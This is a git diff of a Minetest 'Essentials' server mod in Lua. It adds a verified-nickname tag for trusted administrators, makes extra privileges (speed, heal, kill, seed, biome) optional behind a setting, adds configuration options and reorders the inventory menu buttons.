minetest.log("warning", "[Essentials] Cant get trusted nicknames, table will be nil.")
|
||||
essentials.trusted_ip_users = {}
|
||||
end
|
||||
end)
|
||||
|
||||
--==[[ Connections ]]==--
|
||||
dofile(modpath.."/commands.lua")
|
||||
dofile(modpath.."/priveleges.lua")
|
||||
dofile(modpath.."/ui/watermark.lua")
|
||||
@ -76,5 +102,25 @@ dofile(modpath.."/ui/ban_menu.lua")
|
||||
dofile(modpath.."/ui/kick_menu.lua")
|
||||
dofile(modpath.."/ui/mute_menu.lua")
|
||||
dofile(modpath.."/ui/color_menu.lua")
|
||||
dofile(modpath.."/ui/ip.lua")
|
||||
dofile(modpath.."/ui/rename_me.lua")
|
||||
dofile(modpath.."/ui/rename_item.lua")
|
||||
dofile(modpath.."/ui/rename_item.lua")
|
||||
|
||||
local function containsValue(table, value)
|
||||
for _, v in ipairs(table) do
|
||||
if v == value then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
minetest.register_on_joinplayer(function(player)
|
||||
minetest.after(0.5, function()
|
||||
if minetest.check_player_privs(player, {server=true}) and containsValue(essentials.trusted_ip_users, player:get_player_name()) then
|
||||
player:set_properties({
|
||||
nametag = minetest.colorize("#059FFF", "[✔]").." "..player:get_player_name(),
|
||||
})
|
||||
end
|
||||
end)
|
||||
end)
|
2
mod.conf
2
mod.conf
@ -2,4 +2,4 @@ name = essentials
|
||||
author = SkyBuilder1717
|
||||
description = Adds a lot of helpful commands for your server!
|
||||
title = Essentials
|
||||
optional_depends = spawn_command, unified_inventory
|
||||
optional_depends = unified_inventory
|
@ -1,24 +1,48 @@
|
||||
core.register_privilege("rename_player", {
|
||||
description = "Can rename self.",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
|
||||
core.register_privilege("rename_item", {
|
||||
description = "Can rename item.",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
|
||||
core.register_privilege("god_mode", {
|
||||
description = "Can use /god command",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
|
||||
core.register_privilege("colored_nickname", {
|
||||
description = "Can use /color command",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
|
||||
core.register_privilege("broadcast", {
|
||||
description = "Can use /broadcast command",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
if essentials.add_privs then
|
||||
core.register_privilege("rename_player", {
|
||||
description = "Can rename self or someone else",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
core.register_privilege("rename_item", {
|
||||
description = "Can rename items",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
core.register_privilege("god_mode", {
|
||||
description = "Can be hurted by someone",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
core.register_privilege("colored_nickname", {
|
||||
description = "Can color nicknames",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
core.register_privilege("broadcast", {
|
||||
description = "Can annonce all the server",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
core.register_privilege("speed", {
|
||||
description = "Can be fast or slow",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
core.register_privilege("heal", {
|
||||
description = "Can heal yourself or someone",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
core.register_privilege("kill", {
|
||||
description = "Can kill anyone",
|
||||
give_to_singleplayer = false,
|
||||
})
|
||||
core.register_privilege("get_pos", {
|
||||
description = "Can get position of player",
|
||||
give_to_singleplayer = true,
|
||||
})
|
||||
core.register_privilege("seed", {
|
||||
description = "Can use see th seed of world",
|
||||
give_to_singleplayer = true,
|
||||
})
|
||||
if not essentials.biome then
|
||||
core.register_privilege("biome", {
|
||||
description = "Can see current biome info",
|
||||
give_to_singleplayer = true,
|
||||
})
|
||||
end
|
||||
end
|
@ -3,15 +3,27 @@
|
||||
# NOTE: Sometimes check for updates feature doesnt work for unknown reasons.
|
||||
essentials_check_for_updates (Check for updates) bool false
|
||||
|
||||
# On every join, if administrator verified ip user,
|
||||
# near with nickname ill be small check.
|
||||
essentials_ip_verified (Administrator verified check) bool true
|
||||
|
||||
# Allows EVERYONE to see "seed" of the world through the "/seed" command
|
||||
# Otherwise, the command will be available only to administrators
|
||||
essentials_seed (Seed command) bool false
|
||||
|
||||
# Allows to players see current biome information through the "/biome" command
|
||||
# Otherwise, the command will be available only to administrators
|
||||
essentials_biome (Biome command) bool true
|
||||
|
||||
# Enables sending a message to the killed player with content of who killed him with command "/kill"
|
||||
essentials_killed_by ("You has been killed by" message) bool true
|
||||
|
||||
# Enables sending a message whose name has been changed by the player with rename menu
|
||||
# Enables sending a message to those who have changed any attributes
|
||||
# (like speed or nickname)
|
||||
essentials_changed_by ("Your name changed by" message) bool true
|
||||
|
||||
# Enables watermark on the screen
|
||||
essentials_watermark (Watermark) bool true
|
||||
essentials_watermark (Watermark) bool true
|
||||
|
||||
# Enables a additional privileges for commands
|
||||
essentials_additional_privileges (Additional Privileges) bool true
|
@ -1,86 +1,85 @@
|
||||
unified_inventory.register_button("ban_menu", {
|
||||
type = "image",
|
||||
image = "unified_inventory_ban.png",
|
||||
tooltip = "Ban menu",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {ban=true}) then
|
||||
show_ban_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'ban\'!")
|
||||
end
|
||||
end
|
||||
})
|
||||
|
||||
unified_inventory.register_button("ban_menu", {
|
||||
type = "image",
|
||||
image = "unified_inventory_ban.png",
|
||||
tooltip = "Ban menu",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {ban=true}) then
|
||||
show_ban_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'ban\'!")
|
||||
end
|
||||
unified_inventory.register_button("kick_menu", {
|
||||
type = "image",
|
||||
image = "unified_inventory_kick.png",
|
||||
tooltip = "Kick menu",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {kick=true}) then
|
||||
show_kick_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'kick\'!")
|
||||
end
|
||||
})
|
||||
end
|
||||
})
|
||||
|
||||
unified_inventory.register_button("kick_menu", {
|
||||
type = "image",
|
||||
image = "unified_inventory_kick.png",
|
||||
tooltip = "Kick menu",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {kick=true}) then
|
||||
show_kick_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'kick\'!")
|
||||
end
|
||||
unified_inventory.register_button("rename_item", {
|
||||
type = "image",
|
||||
image = "unified_inventory_amogus.png",
|
||||
tooltip = "Rename item in hand",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {rename_item=true}) then
|
||||
show_renameitem_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'rename_item\'!")
|
||||
end
|
||||
})
|
||||
end
|
||||
})
|
||||
|
||||
unified_inventory.register_button("rename_me", {
|
||||
type = "image",
|
||||
image = "unified_inventory_amogus.png",
|
||||
tooltip = "Rename yourself",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {rename_player=true}) then
|
||||
show_rename_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'rename_player\'!")
|
||||
end
|
||||
--[[
|
||||
unified_inventory.register_button("rename_me", {
|
||||
type = "image",
|
||||
image = "unified_inventory_amogus.png",
|
||||
tooltip = "Rename yourself",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {rename_player=true}) then
|
||||
show_rename_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'rename_player\'!")
|
||||
end
|
||||
})
|
||||
|
||||
unified_inventory.register_button("rename_item", {
|
||||
type = "image",
|
||||
image = "unified_inventory_amogus.png",
|
||||
tooltip = "Rename item in hand",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {rename_item=true}) then
|
||||
show_renameitem_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'rename_item\'!")
|
||||
end
|
||||
end
|
||||
})
|
||||
end
|
||||
})
|
||||
|
||||
unified_inventory.register_button("color_nickname", {
|
||||
type = "image",
|
||||
image = "unified_inventory_color_nickname.png",
|
||||
tooltip = "Coloring your nickname",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {colored_nickname=true}) then
|
||||
show_color_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'colored_nickname\'!")
|
||||
end
|
||||
unified_inventory.register_button("color_nickname", {
|
||||
type = "image",
|
||||
image = "unified_inventory_color_nickname.png",
|
||||
tooltip = "Coloring your nickname",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {colored_nickname=true}) then
|
||||
show_color_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege \'colored_nickname\'!")
|
||||
end
|
||||
})
|
||||
end
|
||||
})
|
||||
|
||||
--[[
|
||||
unified_inventory.register_button("mute_menu", {
|
||||
type = "image",
|
||||
image = "unified_inventory_mute.png",
|
||||
tooltip = "Mute menu",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {mute=true}) then
|
||||
show_mute_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege 'mute'!")
|
||||
end
|
||||
unified_inventory.register_button("mute_menu", {
|
||||
type = "image",
|
||||
image = "unified_inventory_mute.png",
|
||||
tooltip = "Mute menu",
|
||||
action = function(player)
|
||||
local name = player:get_player_name()
|
||||
if minetest.check_player_privs(name, {mute=true}) then
|
||||
show_mute_menu(name)
|
||||
else
|
||||
core.chat_send_player(name, "You dont have privilege 'mute'!")
|
||||
end
|
||||
})
|
||||
]]--
|
||||
end
|
||||
})
|
||||
]]--
|
Loading…
x
Reference in New Issue
Block a user